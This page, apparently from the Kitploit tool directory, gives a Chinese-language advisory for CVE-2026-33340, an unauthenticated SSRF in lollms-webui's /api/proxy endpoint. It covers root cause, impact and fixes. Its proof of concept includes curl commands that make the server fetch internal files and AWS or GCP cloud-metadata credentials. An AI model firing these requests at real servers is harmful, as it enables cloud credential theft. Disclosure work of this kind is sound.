Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33340 — CVE-2026-33340:lollms-webui /api/proxy 中的严重 SSRF - 未认证的任意请求伪造(CVSS 9.1) | Kitploit
工具/GitHubGitHub/regaan/cve-2026-33340
侦察漏洞分析漏洞利用Web安全云安全学习与教育
GitHubregaan/cve-2026-33340

CVE-2026-33340

CVE-2026-33340:lollms-webui /api/proxy 中的严重 SSRF - 未认证的任意请求伪造(CVSS 9.1)

查看仓库
165个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-33340:lollms-webui 中的 SSRF 漏洞

概述

字段详情
CVE IDCVE-2026-33340
漏洞类型服务端请求伪造(Server-Side Request Forgery, SSRF)
受影响产品ParisNeo/lollms-webui(LoLLMs WEBUI)
严重等级严重 — CVSS 9.1
CVSS 向量CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-918:服务端请求伪造(SSRF)
受影响组件lollms_core/lollms/server/endpoints/lollms_apps.py
受影响端点/api/proxy
安全公告GHSA-mcwr-5469-pxj4
NVDNVD 条目
SentinelOneSentinelOne 分析
发现者Regaan R — ROT 独立安全研究实验室

摘要

在 lollms-webui(Lord of Large Language and Multi modal Systems 的 Web 界面)中发现了一个严重等级的服务端请求伪造(SSRF)漏洞。@router.post("/api/proxy") 端点允许未经身份验证的攻击者强制服务器发起任意的 GET 请求。该漏洞可被利用来访问内部服务、扫描本地网络,或窃取敏感的云元数据,例如 AWS/GCP IAM 令牌。


受影响产品

  • 仓库:ParisNeo/lollms-webui / ParisNeo/lollms
  • 受影响组件:lollms_core/lollms/server/endpoints/lollms_apps.py(第 443-450 行)
  • 受影响端点:/api/proxy
  • 受影响版本:所有已知现有版本

根因分析

该漏洞的成因在于 lollms_apps.py 中的 proxy 函数未实现身份验证,也未进行任何形式的 URL/域名校验。它直接接受用户提供的原始 URL 字符串,并将其直接传递给异步 HTTP 客户端。

漏洞代码

@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    try:
        async with httpx.AsyncClient() as client:
            # No check_access() call — unauthenticated
            # No URL validation — arbitrary destinations
            response = await client.get(request.url)
            return {"content": response.text}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

问题所在

  1. 缺少身份验证:该端点未调用 check_access(lollmsElfServer, request.client_id),也未经过任何身份验证中间件,任何未经身份验证的用户均可调用它。
  2. 缺少 URL 校验:用户提供的 URL 被直接传递给 httpx.AsyncClient().get(),未对照白名单检查目标地址,也未阻止私网/内网 IP 段。
  3. 完整响应泄露:整个 HTTP 响应体通过 {"content": response.text} 返回给调用者,可导致完整的数据外泄。

概念验证(PoC)

第 1 步 — 搭建一个模拟的内部服务

echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888

第 2 步 — 利用 SSRF

curl -X POST http://localhost:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://localhost:8888/secret.txt"}'

第 3 步 — 观察响应

{"content": "INTERNAL_SECRET_DATA\n"}

服务器从内部服务获取了该文件,并将其内容返回给攻击者。

云元数据利用

# AWS IMDSv1 — Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP — Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'

影响

场景描述
云凭证窃取云平台(AWS/GCP/Azure)上的攻击者可访问 http://169.254.169.254/ 获取实例元数据、IAM 凭证和访问令牌,从而导致整个云账户沦陷。
内网横向渗透攻击者可探测未暴露到公网的内部数据库、API、管理后台和管理接口。
本地服务访问攻击者可访问绑定在 localhost 上的服务(Redis、Elasticsearch、Docker API、数据库控制台等),这些服务会隐式信任本地流量。
内网端口扫描该 SSRF 漏洞可被用于通过观察响应时间和错误消息,枚举内网中的开放端口和运行中的服务。
数据外泄服务器网络可达范围内任何可通过 HTTP 访问的数据均可被读取并返回给攻击者。

攻击流程

Attacker                         lollms-webui Server                    Internal Network
   |                                    |                                      |
   |  POST /api/proxy                   |                                      |
   |  {"url": "http://169.254..."}      |                                      |
   |----------------------------------->|                                      |
   |                                    |  GET http://169.254.169.254/...      |
   |                                    |------------------------------------->|
   |                                    |                                      |
   |                                    |  200 OK (IAM credentials)            |
   |                                    |<-------------------------------------|
   |                                    |                                      |
   |  {"content": "<credentials>"}      |                                      |
   |<-----------------------------------|                                      |

建议的修复方案

1. 添加身份验证

@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    check_access(lollmsElfServer, request.client_id)  # Add this
    # ...

2. 实现 URL 校验

from urllib.parse import urlparse
import ipaddress

BLOCKED_RANGES = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),  # Cloud metadata
]

def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    hostname = parsed.hostname
    if hostname in ("localhost", ""):
        return False
    try:
        ip = ipaddress.ip_address(hostname)
        return not any(ip in network for network in BLOCKED_RANGES)
    except ValueError:
        # Hostname is a domain — resolve and check
        import socket
        resolved = socket.gethostbyname(hostname)
        ip = ipaddress.ip_address(resolved)
        return not any(ip in network for network in BLOCKED_RANGES)

3. 限制为白名单域名

ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]

def is_whitelisted(url: str) -> bool:
    parsed = urlparse(url)
    return parsed.hostname in ALLOWED_DOMAINS

补丁状态

截至发布日期,lollms-webui 的已修复版本已经发布。


时间线

日期事件
2026-03-07通过 GitHub 安全公告发现并报告该漏洞
2026-03-24CVE-2026-33340 发布至 NVD
2026-03-25NVD 数据库条目已更新
2026-03-27SentinelOne 发布漏洞分析

参考资料

  • NVD — CVE-2026-33340
  • GitHub 安全公告 — GHSA-mcwr-5469-pxj4
  • SentinelOne 漏洞数据库 — CVE-2026-33340
  • 受影响源代码(第 443-450 行)

发现者

Regaan R(@regaan) 首席研究员 — ROT 独立安全研究实验室


免责声明

本文仅用于教育和防御目的。该漏洞已通过 GitHub 安全公告以负责任披露的方式报告。在测试漏洞之前,请务必获得适当的授权。


许可证

本文以 CC BY 4.0 许可证发布。

下载工具